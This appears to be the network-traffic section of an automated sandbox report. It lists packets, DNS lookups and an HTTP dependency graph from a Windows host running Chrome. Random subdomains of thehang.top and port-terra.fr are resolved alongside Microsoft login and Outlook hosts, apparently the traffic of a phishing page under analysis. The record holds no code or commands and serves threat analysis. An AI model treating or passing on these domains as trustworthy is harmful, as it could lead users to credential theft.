Jan 10, 2025 18:39:58.332748890 CET	53	62763	1.1.1.1	192.168.2.11
Jan 10, 2025 18:39:58.333200932 CET	62763	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:39:58.338352919 CET	53	62763	1.1.1.1	192.168.2.11
Jan 10, 2025 18:39:58.338407040 CET	62763	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:40:16.564985037 CET	60076	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:40:16.569844961 CET	53	60076	1.1.1.1	192.168.2.11
Jan 10, 2025 18:40:16.569936991 CET	60076	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:40:16.574975967 CET	53	60076	1.1.1.1	192.168.2.11
Jan 10, 2025 18:40:17.015829086 CET	60076	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:40:17.020982981 CET	53	60076	1.1.1.1	192.168.2.11
Jan 10, 2025 18:40:17.021348000 CET	60076	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:40:37.497927904 CET	60079	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:40:37.497982025 CET	443	60079	142.250.185.228	192.168.2.11
Jan 10, 2025 18:40:37.498073101 CET	60079	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:40:37.498548985 CET	60079	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:40:37.498560905 CET	443	60079	142.250.185.228	192.168.2.11
Jan 10, 2025 18:40:38.951438904 CET	443	60079	142.250.185.228	192.168.2.11
Jan 10, 2025 18:40:38.951917887 CET	60079	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:40:38.951934099 CET	443	60079	142.250.185.228	192.168.2.11
Jan 10, 2025 18:40:38.952301979 CET	443	60079	142.250.185.228	192.168.2.11
Jan 10, 2025 18:40:38.952614069 CET	60079	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:40:38.952702999 CET	443	60079	142.250.185.228	192.168.2.11
Jan 10, 2025 18:40:38.995903015 CET	60079	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:40:42.308142900 CET	49721	8443	192.168.2.11	188.114.97.3
Jan 10, 2025 18:40:42.313128948 CET	8443	49721	188.114.97.3	192.168.2.11

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:37:33.169140100 CET	53	49919	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:33.187505007 CET	53	55506	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:34.415390968 CET	53	50492	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:37.324554920 CET	60897	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:37.324693918 CET	63955	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:37.332009077 CET	53	63955	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:37.332046032 CET	53	60897	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:41.108300924 CET	61240	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:41.108412981 CET	57837	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:41.120699883 CET	53	61240	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:41.251183033 CET	53	57837	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:42.266905069 CET	62956	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:42.267066956 CET	54121	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:42.268043995 CET	54986	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:42.268178940 CET	53243	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:42.268836021 CET	61489	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:42.268987894 CET	62539	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:42.269332886 CET	62391	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:42.269498110 CET	61802	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:42.273828983 CET	53	62956	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:42.274600983 CET	53	54121	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:42.274853945 CET	53	51970	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:42.278945923 CET	53	53243	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:42.278964996 CET	53	54986	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:42.278975964 CET	53	62539	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:42.278986931 CET	53	62391	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:42.278997898 CET	53	61489	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:42.279007912 CET	53	61802	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:43.012612104 CET	51416	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:43.013020992 CET	64128	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:43.019406080 CET	53	51416	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:43.020910978 CET	53	64128	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:43.047236919 CET	53566	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:43.047420025 CET	60270	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:43.048259974 CET	57600	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:43.048397064 CET	55210	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:43.053868055 CET	53	53566	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:43.054219961 CET	53	60270	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:43.054929972 CET	53	57600	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:43.055141926 CET	53	55210	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:43.994915009 CET	54502	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:43.995719910 CET	65351	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:44.001998901 CET	53	54502	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:44.002289057 CET	53	65351	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:45.356713057 CET	53	55708	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:45.733385086 CET	53	57289	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:51.817790985 CET	53	60012	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:57.857675076 CET	59647	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:57.857824087 CET	49268	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:57.871328115 CET	53	59647	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:57.882977962 CET	53	49268	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:59.088150978 CET	63081	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:59.088263035 CET	53469	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:37:59.105925083 CET	53	53469	1.1.1.1	192.168.2.11
Jan 10, 2025 18:37:59.114053011 CET	53	63081	1.1.1.1	192.168.2.11
Jan 10, 2025 18:38:10.860028028 CET	53	61532	1.1.1.1	192.168.2.11
Jan 10, 2025 18:38:12.129024982 CET	60784	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:38:12.129148006 CET	54103	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:38:12.135720015 CET	53	54103	1.1.1.1	192.168.2.11
Jan 10, 2025 18:38:12.135778904 CET	53	60784	1.1.1.1	192.168.2.11
Jan 10, 2025 18:38:14.488305092 CET	138	138	192.168.2.11	192.168.2.255
Jan 10, 2025 18:38:32.544418097 CET	53	63814	1.1.1.1	192.168.2.11
Jan 10, 2025 18:38:33.464502096 CET	53	64685	1.1.1.1	192.168.2.11
Jan 10, 2025 18:38:38.090955973 CET	64779	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:38:38.091069937 CET	61570	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:38:38.098304033 CET	53	64779	1.1.1.1	192.168.2.11
Jan 10, 2025 18:38:38.098376036 CET	53	61570	1.1.1.1	192.168.2.11
Jan 10, 2025 18:39:03.583672047 CET	53	53351	1.1.1.1	192.168.2.11
Jan 10, 2025 18:39:47.786178112 CET	53	50888	1.1.1.1	192.168.2.11
Jan 10, 2025 18:39:52.830972910 CET	53	61022	1.1.1.1	192.168.2.11
Jan 10, 2025 18:39:57.846851110 CET	53	62532	1.1.1.1	192.168.2.11
Jan 10, 2025 18:40:16.564433098 CET	53	54376	1.1.1.1	192.168.2.11
Jan 10, 2025 18:40:26.030666113 CET	53	55938	1.1.1.1	192.168.2.11

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 10, 2025 18:37:41.251388073 CET	192.168.2.11	1.1.1.1	c293	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:37:37.324554920 CET	192.168.2.11	1.1.1.1	0xa61a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:37.324693918 CET	192.168.2.11	1.1.1.1	0x63e1	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 10, 2025 18:37:41.108300924 CET	192.168.2.11	1.1.1.1	0x1c61	Standard query (0)	t6vgccvtc.thehang.top	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:41.108412981 CET	192.168.2.11	1.1.1.1	0xdae7	Standard query (0)	_8443._https.t6vgccvtc.thehang.top	65	IN (0x0001)	false
Jan 10, 2025 18:37:42.266905069 CET	192.168.2.11	1.1.1.1	0x589	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:42.267066956 CET	192.168.2.11	1.1.1.1	0xaa93	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 10, 2025 18:37:42.268043995 CET	192.168.2.11	1.1.1.1	0xad3a	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:42.268178940 CET	192.168.2.11	1.1.1.1	0x4c34	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 10, 2025 18:37:42.268836021 CET	192.168.2.11	1.1.1.1	0x2a0e	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:42.268987894 CET	192.168.2.11	1.1.1.1	0x9b93	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 10, 2025 18:37:42.269332886 CET	192.168.2.11	1.1.1.1	0x9c64	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:42.269498110 CET	192.168.2.11	1.1.1.1	0x9f8b	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Jan 10, 2025 18:37:43.012612104 CET	192.168.2.11	1.1.1.1	0x7f1b	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:43.013020992 CET	192.168.2.11	1.1.1.1	0x1806	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 10, 2025 18:37:43.047236919 CET	192.168.2.11	1.1.1.1	0xfcdf	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:43.047420025 CET	192.168.2.11	1.1.1.1	0x98a3	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Jan 10, 2025 18:37:43.048259974 CET	192.168.2.11	1.1.1.1	0xabdc	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:43.048397064 CET	192.168.2.11	1.1.1.1	0x9740	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 10, 2025 18:37:43.994915009 CET	192.168.2.11	1.1.1.1	0x6601	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:43.995719910 CET	192.168.2.11	1.1.1.1	0xd563	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 10, 2025 18:37:57.857675076 CET	192.168.2.11	1.1.1.1	0xd567	Standard query (0)	3kxi2uz.port-terra.fr	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:57.857824087 CET	192.168.2.11	1.1.1.1	0xbf69	Standard query (0)	3kxi2uz.port-terra.fr	65	IN (0x0001)	false
Jan 10, 2025 18:37:59.088150978 CET	192.168.2.11	1.1.1.1	0x65c9	Standard query (0)	3kxi2uz.port-terra.fr	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:59.088263035 CET	192.168.2.11	1.1.1.1	0xac71	Standard query (0)	3kxi2uz.port-terra.fr	65	IN (0x0001)	false
Jan 10, 2025 18:38:12.129024982 CET	192.168.2.11	1.1.1.1	0xb18d	Standard query (0)	outlook.office.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:38:12.129148006 CET	192.168.2.11	1.1.1.1	0xcba	Standard query (0)	outlook.office.com	65	IN (0x0001)	false
Jan 10, 2025 18:38:38.090955973 CET	192.168.2.11	1.1.1.1	0xd90f	Standard query (0)	outlook.office.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:38:38.091069937 CET	192.168.2.11	1.1.1.1	0x770c	Standard query (0)	outlook.office.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 18:37:37.332009077 CET	1.1.1.1	192.168.2.11	0x63e1	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 10, 2025 18:37:37.332046032 CET	1.1.1.1	192.168.2.11	0xa61a	No error (0)	www.google.com		142.250.185.228	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:41.120699883 CET	1.1.1.1	192.168.2.11	0x1c61	No error (0)	t6vgccvtc.thehang.top		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:41.120699883 CET	1.1.1.1	192.168.2.11	0x1c61	No error (0)	t6vgccvtc.thehang.top		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:41.251183033 CET	1.1.1.1	192.168.2.11	0xdae7	No error (0)	_8443._https.t6vgccvtc.thehang.top			65	IN (0x0001)	false
Jan 10, 2025 18:37:42.273828983 CET	1.1.1.1	192.168.2.11	0x589	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:37:42.273828983 CET	1.1.1.1	192.168.2.11	0x589	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:37:42.273828983 CET	1.1.1.1	192.168.2.11	0x589	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:42.274600983 CET	1.1.1.1	192.168.2.11	0xaa93	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:37:42.274600983 CET	1.1.1.1	192.168.2.11	0xaa93	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:37:42.278964996 CET	1.1.1.1	192.168.2.11	0xad3a	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:42.278964996 CET	1.1.1.1	192.168.2.11	0xad3a	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:42.278964996 CET	1.1.1.1	192.168.2.11	0xad3a	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:42.278964996 CET	1.1.1.1	192.168.2.11	0xad3a	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:42.278975964 CET	1.1.1.1	192.168.2.11	0x9b93	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 10, 2025 18:37:42.278986931 CET	1.1.1.1	192.168.2.11	0x9c64	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:42.278986931 CET	1.1.1.1	192.168.2.11	0x9c64	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:42.278997898 CET	1.1.1.1	192.168.2.11	0x2a0e	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:42.278997898 CET	1.1.1.1	192.168.2.11	0x2a0e	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:42.279007912 CET	1.1.1.1	192.168.2.11	0x9f8b	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Jan 10, 2025 18:37:42.876444101 CET	1.1.1.1	192.168.2.11	0x43b6	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:37:42.876444101 CET	1.1.1.1	192.168.2.11	0x43b6	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:43.019406080 CET	1.1.1.1	192.168.2.11	0x7f1b	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:43.019406080 CET	1.1.1.1	192.168.2.11	0x7f1b	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:43.020910978 CET	1.1.1.1	192.168.2.11	0x1806	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 10, 2025 18:37:43.053868055 CET	1.1.1.1	192.168.2.11	0xfcdf	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:43.053868055 CET	1.1.1.1	192.168.2.11	0xfcdf	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:43.054219961 CET	1.1.1.1	192.168.2.11	0x98a3	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Jan 10, 2025 18:37:43.054929972 CET	1.1.1.1	192.168.2.11	0xabdc	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:43.054929972 CET	1.1.1.1	192.168.2.11	0xabdc	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:43.054929972 CET	1.1.1.1	192.168.2.11	0xabdc	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:43.054929972 CET	1.1.1.1	192.168.2.11	0xabdc	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:43.955576897 CET	1.1.1.1	192.168.2.11	0x7eb8	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:37:43.955576897 CET	1.1.1.1	192.168.2.11	0x7eb8	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:44.001998901 CET	1.1.1.1	192.168.2.11	0x6601	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:37:44.001998901 CET	1.1.1.1	192.168.2.11	0x6601	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:37:44.001998901 CET	1.1.1.1	192.168.2.11	0x6601	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:44.002289057 CET	1.1.1.1	192.168.2.11	0xd563	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:37:44.002289057 CET	1.1.1.1	192.168.2.11	0xd563	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:37:57.871328115 CET	1.1.1.1	192.168.2.11	0xd567	No error (0)	3kxi2uz.port-terra.fr		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:57.871328115 CET	1.1.1.1	192.168.2.11	0xd567	No error (0)	3kxi2uz.port-terra.fr		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:57.871328115 CET	1.1.1.1	192.168.2.11	0xd567	No error (0)	3kxi2uz.port-terra.fr		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:57.871328115 CET	1.1.1.1	192.168.2.11	0xd567	No error (0)	3kxi2uz.port-terra.fr		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:57.871328115 CET	1.1.1.1	192.168.2.11	0xd567	No error (0)	3kxi2uz.port-terra.fr		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:57.871328115 CET	1.1.1.1	192.168.2.11	0xd567	No error (0)	3kxi2uz.port-terra.fr		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:57.871328115 CET	1.1.1.1	192.168.2.11	0xd567	No error (0)	3kxi2uz.port-terra.fr		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:57.882977962 CET	1.1.1.1	192.168.2.11	0xbf69	No error (0)	3kxi2uz.port-terra.fr			65	IN (0x0001)	false
Jan 10, 2025 18:37:59.105925083 CET	1.1.1.1	192.168.2.11	0xac71	No error (0)	3kxi2uz.port-terra.fr			65	IN (0x0001)	false
Jan 10, 2025 18:37:59.114053011 CET	1.1.1.1	192.168.2.11	0x65c9	No error (0)	3kxi2uz.port-terra.fr		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:59.114053011 CET	1.1.1.1	192.168.2.11	0x65c9	No error (0)	3kxi2uz.port-terra.fr		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:59.114053011 CET	1.1.1.1	192.168.2.11	0x65c9	No error (0)	3kxi2uz.port-terra.fr		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:59.114053011 CET	1.1.1.1	192.168.2.11	0x65c9	No error (0)	3kxi2uz.port-terra.fr		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:59.114053011 CET	1.1.1.1	192.168.2.11	0x65c9	No error (0)	3kxi2uz.port-terra.fr		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:59.114053011 CET	1.1.1.1	192.168.2.11	0x65c9	No error (0)	3kxi2uz.port-terra.fr		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:37:59.114053011 CET	1.1.1.1	192.168.2.11	0x65c9	No error (0)	3kxi2uz.port-terra.fr		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:38:12.135720015 CET	1.1.1.1	192.168.2.11	0xcba	No error (0)	outlook.office.com	substrate.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:38:12.135720015 CET	1.1.1.1	192.168.2.11	0xcba	No error (0)	substrate.office.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:38:12.135720015 CET	1.1.1.1	192.168.2.11	0xcba	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:38:12.135778904 CET	1.1.1.1	192.168.2.11	0xb18d	No error (0)	outlook.office.com	substrate.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:38:12.135778904 CET	1.1.1.1	192.168.2.11	0xb18d	No error (0)	substrate.office.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:38:12.135778904 CET	1.1.1.1	192.168.2.11	0xb18d	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:38:12.135778904 CET	1.1.1.1	192.168.2.11	0xb18d	No error (0)	ooc-g2.tm-4.office.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:38:12.135778904 CET	1.1.1.1	192.168.2.11	0xb18d	No error (0)	outlook.ms-acdc.office.com	HHN-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:38:12.135778904 CET	1.1.1.1	192.168.2.11	0xb18d	No error (0)	HHN-efz.ms-acdc.office.com		40.99.150.114	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:38:12.135778904 CET	1.1.1.1	192.168.2.11	0xb18d	No error (0)	HHN-efz.ms-acdc.office.com		40.99.150.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:38:12.135778904 CET	1.1.1.1	192.168.2.11	0xb18d	No error (0)	HHN-efz.ms-acdc.office.com		40.99.150.82	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:38:12.135778904 CET	1.1.1.1	192.168.2.11	0xb18d	No error (0)	HHN-efz.ms-acdc.office.com		40.99.150.66	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:38:38.098304033 CET	1.1.1.1	192.168.2.11	0xd90f	No error (0)	outlook.office.com	substrate.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:38:38.098304033 CET	1.1.1.1	192.168.2.11	0xd90f	No error (0)	substrate.office.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:38:38.098304033 CET	1.1.1.1	192.168.2.11	0xd90f	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:38:38.098304033 CET	1.1.1.1	192.168.2.11	0xd90f	No error (0)	ooc-g2.tm-4.office.com		40.99.149.210	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:38:38.098304033 CET	1.1.1.1	192.168.2.11	0xd90f	No error (0)	ooc-g2.tm-4.office.com		52.98.152.178	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:38:38.098304033 CET	1.1.1.1	192.168.2.11	0xd90f	No error (0)	ooc-g2.tm-4.office.com		40.99.150.82	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:38:38.098304033 CET	1.1.1.1	192.168.2.11	0xd90f	No error (0)	ooc-g2.tm-4.office.com		40.99.150.98	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:38:38.098304033 CET	1.1.1.1	192.168.2.11	0xd90f	No error (0)	ooc-g2.tm-4.office.com		40.99.150.2	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:38:38.098304033 CET	1.1.1.1	192.168.2.11	0xd90f	No error (0)	ooc-g2.tm-4.office.com		52.98.243.50	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:38:38.098304033 CET	1.1.1.1	192.168.2.11	0xd90f	No error (0)	ooc-g2.tm-4.office.com		52.97.135.98	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:38:38.098304033 CET	1.1.1.1	192.168.2.11	0xd90f	No error (0)	ooc-g2.tm-4.office.com		52.98.175.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:38:38.098376036 CET	1.1.1.1	192.168.2.11	0x770c	No error (0)	outlook.office.com	substrate.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:38:38.098376036 CET	1.1.1.1	192.168.2.11	0x770c	No error (0)	substrate.office.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:38:38.098376036 CET	1.1.1.1	192.168.2.11	0x770c	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:38:38.098376036 CET	1.1.1.1	192.168.2.11	0x770c	No error (0)	ooc-g2.tm-4.office.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:38:38.098376036 CET	1.1.1.1	192.168.2.11	0x770c	No error (0)	outlook.ms-acdc.office.com	FRA-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

https:

maxcdn.bootstrapcdn.com

cdnjs.cloudflare.com

code.jquery.com

aadcdn.msftauth.net

3kxi2uz.port-terra.fr

outlook.office.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49728	104.18.11.207	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
